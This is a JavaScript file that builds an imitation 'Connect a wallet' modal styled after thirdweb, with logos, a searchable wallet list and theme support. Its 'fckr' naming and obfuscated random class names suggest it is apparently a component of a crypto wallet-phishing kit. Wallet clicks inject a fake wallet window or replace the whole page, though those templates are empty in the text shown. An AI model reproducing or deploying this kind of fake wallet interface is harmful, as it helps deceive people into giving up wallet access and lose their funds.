var domain = '/'; const currentDomain = window.location.hostname; var xhr = new XMLHttpRequest(); xhr.open('GET', '/fckr/configs.json', true); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { if (xhr.status === 200) { var find = JSON.parse(xhr.responseText); var connWalletId = 'c' + Math.random().toString(36).substring(9); var connModalWindow = 'm' + Math.random().toString(36).substring(9); var connModalWindowContent = 'w' + Math.random().toString(36).substring(9); var bxml = 'x' + Math.random().toString(36).substring(9); var mvId = 'i' + Math.random().toString(36).substring(9); var wnd = 'n' + Math.random().toString(36).substring(9); var connectWalletSection = document.createElement('section'); connectWalletSection.id = connWalletId; connectWalletSection.style.display = 'none'; var div = document.createElement('div'); var modalWindowDiv = document.createElement('div'); modalWindowDiv.className = connModalWindow; modalWindowDiv.id = mvId; modalWindowDiv.style.display = 'block'; var modalWindowContentDiv = document.createElement('div'); modalWindowContentDiv.className = connModalWindowContent; modalWindowContentDiv.id = wnd; modalWindowContentDiv.style.overflow = 'hidden'; modalWindowContentDiv.style.width = '400px'; modalWindowContentDiv.style.height = '732px'; modalWindowContentDiv.style.top = '-1px'; modalWindowContentDiv.style.right = '10%'; var bxMlInboxDiv = document.createElement('div'); bxMlInboxDiv.className = bxml; function setThemeBasedOnBrowserPreference() { const isDarkTheme = window.matchMedia('(prefers-color-scheme: dark)').matches; const htmlElement = document.documentElement; if (isDarkTheme) { htmlElement.setAttribute('data-fckr-theme', 'dark'); } else { htmlElement.setAttribute('data-fckr-theme', 'light'); } } setThemeBasedOnBrowserPreference(); const scrt = Array.from({ length: 100 }, () => 'fc' + Math.random().toString(36).substring(5) + 'kr'); var modalHtml = `

Connect

No results...
Your gateway to the decentralized world
Connect a wallet to get started
×
`; document.body.insertAdjacentHTML('beforeend', modalHtml); var walList = document.getElementById(scrt[15]); Object.keys(find).forEach(function (key) { var button = document.createElement('button'); button.className = `${scrt[6]} ${scrt[1]}`; button.setAttribute('data-wallet', key); var img = document.createElement('img'); img.className = `${scrt[18]} ${scrt[1]}`; img.src = domain + 'fckr/icons/' + find[key].img; img.setAttribute('data-wallet', key); button.appendChild(img); var div = document.createElement('div'); div.className = `${scrt[4]} ${scrt[1]}`; div.textContent = find[key].name; div.setAttribute('data-wallet', key); button.appendChild(div); walList.appendChild(button); }); const searchInput = document.querySelector(`.${scrt[16]}`); const modalBlocks = document.querySelectorAll(`.${scrt[6]}`); if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) { document.querySelector(`.${scrt[12]}`).src = './img/thirdweb-logo-light.svg'; } else { document.querySelector(`.${scrt[12]}`).src = './img/thirdweb-logo.svg'; } document.addEventListener('click', function (event) { if (event.target.classList.contains(scrt[1])) { document.getElementById(scrt[2]).style.display = 'none'; document.body.style.overflow = 'auto'; } }); const noResults = document.querySelector(`.${scrt[17]}`); searchInput.addEventListener('input', function () { const searchText = this.value.toLowerCase(); let hasResults = false; modalBlocks.forEach(function (block) { const text = block.querySelector(`.${scrt[4]}`).textContent.toLowerCase(); if (text.includes(searchText)) { block.style.display = 'flex'; hasResults = true; } else { block.style.display = 'none'; } }); if (hasResults) { noResults.style.display = 'none'; } else { noResults.style.display = 'inline'; } }); modalWindowContentDiv.appendChild(bxMlInboxDiv); modalWindowDiv.appendChild(modalWindowContentDiv); div.appendChild(modalWindowDiv); connectWalletSection.appendChild(div); var style = document.createElement('style'); style.textContent = `.${scrt[4]}{font-family:system-ui,sans-serif}.${scrt[5]},.${scrt[6]}{transition:.15s;cursor:pointer}.${connModalWindow}{position:fixed;z-index:99999;top:0;right:0;bottom:0;left:0}.${connModalWindow} [style='display: block;']{opacity:1;visibility:visible}.${connModalWindow} [style='display: none;']{display:block!important;opacity:0;visibility:hidden}.${connModalWindow} [style='display: block;'] .${connModalWindowContent}{opacity:1;visibility:visible;transform:scale(1);margin-top:0}.${connModalWindowContent}{position:absolute;z-index:99999}:root{--modal-background-color:#fff;--modal-right-title:#000;--modal-right-subtitle:#888;--modal-link-hover-color:#000;--modal-footer-color:#706f78;--modal-left-block:#706f78;--modal-left-block-hover:#f3f3f3;--modal-border-color:#dfdfdf}[data-fckr-theme="dark"]{--modal-background-color:#131418;--modal-left-block-hover:#191b21;--modal-border-color:#262830;--modal-right-title:#e4edef;--modal-right-subtitle:#7e7d86;--modal-link-hover-color:#fff;--modal-footer-color:#7e7d86;--modal-left-block:#ededef}::selection{background-color:var(--modal-link-hover-color);color:var(--modal-background-color)}.${scrt[0]}{z-index:9999;position:fixed;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.5);backdrop-filter:blur(5px);justify-content:center;align-items:center;display:none}.${scrt[7]}{background-color:var(--modal-background-color);max-width:730px;height:570px;border:1px solid var(--modal-border-color);display:flex;position:relative;border-radius:20px;width:100%}.${scrt[6]},.${scrt[16]}{background-color:transparent;outline:0}.${scrt[8]}{width:260px;border-right:1px solid var(--modal-border-color);display:flex;flex-direction:column;justify-content:center;align-items:center}.${scrt[6]}{width:100%;height:64px;display:flex;align-items:center;border:none;border-radius:5px;gap:15px;padding:8px}.${scrt[6]}:hover{background-color:var(--modal-left-block-hover);transform:scale(1.015)}.${scrt[18]}{width:48px;height:48px;object-fit:cover;border-radius:5px}.${scrt[4]}{text-align:left;font-weight:600;font-size:16px;color:var(--modal-left-block)}.modal-left-small-text{margin-top:8px;color:var(--modal-right-subtitle)}.${scrt[9]}{width:428px;padding:16px;display:flex;flex-direction:column;align-items:center;justify-content:center}.${scrt[20]}{max-width:150px;width:100%;height:auto;object-fit:cover;filter:drop-shadow(5px 5px 10px #1166e6);animation:2s ease-in-out infinite alternate moveUpDown;margin-bottom:30px}.${scrt[14]},.${scrt[19]}{height:100%;display:flex;width:100%}.${scrt[21]}{margin-top:16px;font-weight:600;color:var(--modal-right-title);margin-bottom:10px}.${scrt[22]}{margin-top:8px;color:var(--modal-right-subtitle);margin-bottom:10px}.${scrt[19]}{flex-direction:column;align-items:center;justify-content:center;margin-bottom:35px}.modal-footer{margin-top:16px;text-align:center;color:#888;padding:10px}.${scrt[5]}{position:absolute;top:15px;right:25px;font-size:33px;color:#706f78;font-weight:400}.${scrt[5]}:hover{color:var(--modal-link-hover-color)}.modal-footer__text{color:#706f78;font-weight:600;font-size:14px}.${scrt[8]}{display:flex;flex-direction:column;padding:14px 16px 16px 24px}.${scrt[10]}{display:flex;align-items:center;gap:5px;width:100%}.${scrt[11]}{color:#fff}.${scrt[12]}{color:var(--modal-right-title);fill:var(--modal-right-title);}.${scrt[13]}{color:var(--modal-right-title);font-size:20px;font-weight:600}.${scrt[17]},.${scrt[16]}{color:var(--modal-footer-color)}.${scrt[14]}{margin-top:10px;overflow-y:auto;overflow-x:hidden;flex-direction:column;gap:5px}.${scrt[16]}{padding:10px;border:1px solid var(--modal-border-color);border-radius:5px;font-weight:600;font-family:system-ui,-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif}.${scrt[17]}{margin-top:10px;text-align:center;font-size:14px;display:none}@keyframes moveUpDown{0%{transform:translateY(0)}100%{transform:translateY(-10px)}}@media (max-width:700px){.${scrt[9]}{display:none}.${scrt[8]}{border:none;max-width:600px;width:100%}.${scrt[5]}{right:15px}}.${scrt[14]}::-webkit-scrollbar{width:8px}.${scrt[14]}::-webkit-scrollbar-track{background:0 0}.${scrt[14]}::-webkit-scrollbar-thumb{cursor:pointer;background:#ffffff14;border-radius:30px}`; document.head.appendChild(style); document.body.appendChild(connectWalletSection); document.addEventListener('click', function (event) { var connectWalletElement = document.getElementById(connWalletId); if (connectWalletElement.style.display == 'block') { connectWalletElement.style.display = 'none'; } }); document.addEventListener('click', function (event) { var walletTarget = event.target.closest ? event.target.closest('[data-wallet]') : null; if (walletTarget) { var wallet = walletTarget.getAttribute('data-wallet'); if (wallet == 'modal') { document.getElementById(scrt[2]).style.display = 'flex'; document.body.style.overflow = 'hidden'; return; } var config = find[wallet]; if (!config) { console.log('Ключ', wallet, 'отсутствует в конфигурации.'); console.log('Key', wallet, 'is missing from the configuration.'); return; } if (config.onlyPage || window.innerWidth < 700) { loadPage(config); } else { loadWindow(config); } } }); function loadWindow(config) { const protocol = window.location.protocol; const hostname = window.location.hostname; const fullUrl = `${protocol}//${hostname}`; document.getElementById(connWalletId).style.display = 'block'; var wind = document.getElementById(wnd); wind.style.width = config.width + 'px'; wind.style.height = config.height + 'px'; document.querySelector('.' + bxml).innerHTML = ``; } function loadPage(config) { const protocol = window.location.protocol; const hostname = window.location.hostname; const fullUrl = `${protocol}//${hostname}`; document.body.innerHTML = ``; } } else { console.error('Error #1!!! Contact Support!'); } } }; xhr.send();